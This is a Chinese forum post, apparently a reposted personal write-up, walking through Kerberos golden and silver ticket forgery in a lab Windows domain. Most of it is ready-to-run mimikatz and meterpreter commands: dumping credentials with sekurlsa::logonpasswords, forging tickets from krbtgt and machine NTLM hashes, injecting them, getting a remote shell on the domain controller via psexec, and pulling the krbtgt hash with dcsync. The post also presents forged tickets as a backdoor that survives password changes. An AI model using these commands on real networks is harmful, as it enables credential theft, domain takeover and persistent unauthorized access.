1.伪造金票,用krbtgt用户的NTML hash 与 SID
  1. mimikatz.exe
  2. kerberos::golden /admin:system /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887-502 /krbtgt:52a1fdc635b47bb9a867673594c9b4ba /ticket:ticket.kirbi
  3. mimikatz.exe "kerberos::golden /admin:system /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887-502 /krbtgt:52a1fdc635b47bb9a867673594c9b4ba /ticket:ticket.kirbi" "exit"
  4. #这里的SID值组成为:SID+RID(-502) RID去掉后才是域SID,如果注入失败尝试将后面的-502去掉,这是一个细节,你的sid不一定是和我的一样,所以要注意不要被我说-502你就找-502,而是这个组成SID+RID
复制代码
2.清空单子缓存,以免有干扰
  1. 系统命令窗口执行:klist purge
  2. 或者在mimikatz中执行:kerberos::purge
复制代码
3.注入金票单子到内存中
  1. kerberos::ptt [票据文件] #如果没有和mimikatz在同一目录下就写文件路径
复制代码

注入后我还以为可以使用平凡用户来操作域控,\没想到还是要以管理员用户的身份去举行操作:
dir \\WIN-Q23MC0LU96E.god.com\c$
不过背面想了一下也正常,毕竟我们实行mimikatz都是管理员身份了,也没必要特地去搞个平凡用户来实行

以下是通过管理员身份实行的:dir \\WIN-Q23MC0LU96E.god.com\c$

kiwi

条件
  1. 需要管理员权限创建票据
复制代码
由于我拿到的meterpreter没有提权无法得到单子信息,所以这里就给出命令即可
  1. #加载kiwi
  2. load kiwi
  3. #创建票据
  4. golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <c:\krbtgt.ticket>
  5. #注入到内存
  6. kerberos_ticket_use c:\krbtgt.ticket
复制代码
反弹shell

条件
  1. 票据注入后希望直接在当前机器横向拿到shell那就可以尝试使用psexec
  2. 但就是有点烦,psexec还是要管理员权限运行的哈~
复制代码
当注入高权限单子后,可以尝试使用psexec举行反弹cmd,直接拿到机器的shell是最方便操作的。
  1. 用法:psexec.exe /accepteula /s \\主机名.域名 cmd.exe
  2. psexec.exe /accepteula /s \\WIN-Q23MC0LU96E.god.com cmd.exe
复制代码

白银单子

介绍
  1. 白银票据就是伪造的ST,直接和server交流,不经过KDC,
  2. 白银票据也称为专票,就是指定去访问某一个服务的。
复制代码
目的机器用户哈希

这里需要拿到目的服务器的域用户NTLM hash和SID,一样寻常来说拿到的用户都是能够在域的恣意一个机器中使用的,如果不能的话银票是伪造不了,因为这里是需要对应用户的银票然后拿着银票到目的服务器,否则你拿着票也没啥用,不像金票krbtgt一票走天下。
这里获取的方式就直接使用mimikatz了,很多方式就不介绍了
  1. mimikatz.exe
  2. privilege::debug
  3. sekurlsa::logonpasswords
  4. #或者导入文件中
  5. mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > key.txt
复制代码
银票伪造

cifs服务(mimikatz)

环境
  1. 这里我添加了一个新的win7系统加入到域中,为了更直观的看到银票的作用是`与服务器交互的作用`
  2. 机器名为:Dhan-PC.god.com
  3. ip:10.0.0.13
  4. 在Dhan-PC.god.com机器中导出凭据看到他的用户名和对应的hash
  5. 其他环境不变
复制代码
条件
  1. 说在前面:rc4的hash和target的机器名要对应!!!
  2. /sid: `客户端`用户的sid号
  3. /target: 需要`访问的域服务器`的`计算机全名`
  4. ====================重点重点重点=============================
  5. /rc4: 注意这里不是找用户hash口令,而是机器对应的ntlm hash。
  6.         `一般用administrator的ntml hash`,
  7.         mimikatz收集到的用户名后面带$符号的就是了,然后看下面的ntlm值,
  8.         比如:DHAN-PC$的DHAN-PC就是机器名
  9. ============================================================
  10. /service:需要伪造的服务,例如`cifs`访问文件服务
  11. /user: 指定需要伪造的用户
  12. /ptt: 将伪造的票据导入内存
复制代码

命令实行
  1. kerberos::golden /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887 /target:DHAN-PC.god.com /rc4:b9f2f1bf723ce6b29a01b9f06c317f7d /service:cifs /user:fuck /ptt
复制代码
重要的注意事项
  1. ps:这个/target参数后面跟跟目标服务器的 [$主机名.域名$]
  2. 这里要用你`目标服务器的域中机器名全名`
  3. 并且一般这个名字在你mimikatz导出的凭证中带$的
  4. 与此同时/rc4还要用这个机器的的ntlm hash,不可以随便用,要对应着才行。
  5. (本人试验过使用机器的ip不适用机器名的话注入银票后dir查看失败)
复制代码

ldap服务(mimikatz)

我使用银票伪造访问ladp服务目的
  1. 由于我们无法直接接管dc但无意间拿到dc域控的ntlm
  2. 可以通过net time /domain等方法定位主机名全名
  3. 然后银票伪造注入,查看krbtgt的信息,就可以伪造金票了
  4. 有了金票的话注入一手,就可以在金票有效期内到域环境中逛街了。
复制代码
条件
  1. 0.重要的条件:不用管理员权限运行mimikatz,票据注入貌似都不用管理员权限
  2.                   同样的你注入成功后想要使用票据操作也是不用管理员权限的哈
  3. 1.你要用ldap服务去获取krbtgt的信息一般只能用dc服务器的主机名和ntlm hash去搞银票,
  4.   其他ldap功能用法没试过,应该是可以用普通权限的语言用户
  5. 2.同样需要目标服务器的主机名全名还有他的机器的ntlm hash
  6. 3.sid的话域环境的sid就行
复制代码
命令
  1. kerberos::golden /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887 /target:WIN-Q23MC0LU96E.god.com /rc4:f1975383b0df3f76d75360fa7728669b /service:ldap /user:dcfuck /ptt
  2. lsadump::dcsync /dc:WIN-Q23MC0LU96E.god.com /domain:god.com /user:krbtgt
复制代码
下面给出注入过程的截图
注入成功

注入成功后,接着输入:
lsadump::dcsync /dc:WIN-Q23MC0LU96E.god.com /domain:god.com /user:krbtgt
就拿到krbtgt信息了

单子传递的总结

纯属个人理解:
  1. 票据相当于一个后门,在有效时间内,不管对面是否修改什么用户名或者用户密码都不会影响票据在有效期内的效果
  2. 金票:一旦导入,普通权限的用户都能直接横向移动
  3. 银票:导入成功,虽然只能对单一服务进行横向操作,不过也够了
  4. 不知道你有没有和我一样疑惑:
  5.         我要搞票据信息的环境本身就需要管理员权限了,
  6.         那我干嘛还要高票据传递,我直接管理员权限直接横穿不就好了?
  7. 我答:其实这也是我刚刚说的金票和银票其实更像是一种后门的存在,在有效期内不会受到干扰,只要还能用就还能横着走。
复制代码
金银单子的区别

获取的权限差别
(个人以为最本质的最好理解的区别就是这个)
  1. 金票:伪造的TGT,可以获取任意Kerberos的访问权限
  2. 银票:伪造的ST,只能访问指定的服务,如文件服务器(CIFS)
  3.         这也应了为什么银票要找机器的ntlm hash而不是域用户的hash口令
  4.         这必须不可以搞错的概念,否则银票学不会(正是这个原因困扰了我很久很久。。。。)
复制代码
初探域渗出到此结束,后续碰到有意思的域环境渗出会及时同步分享。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

勿忘初心做自己

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表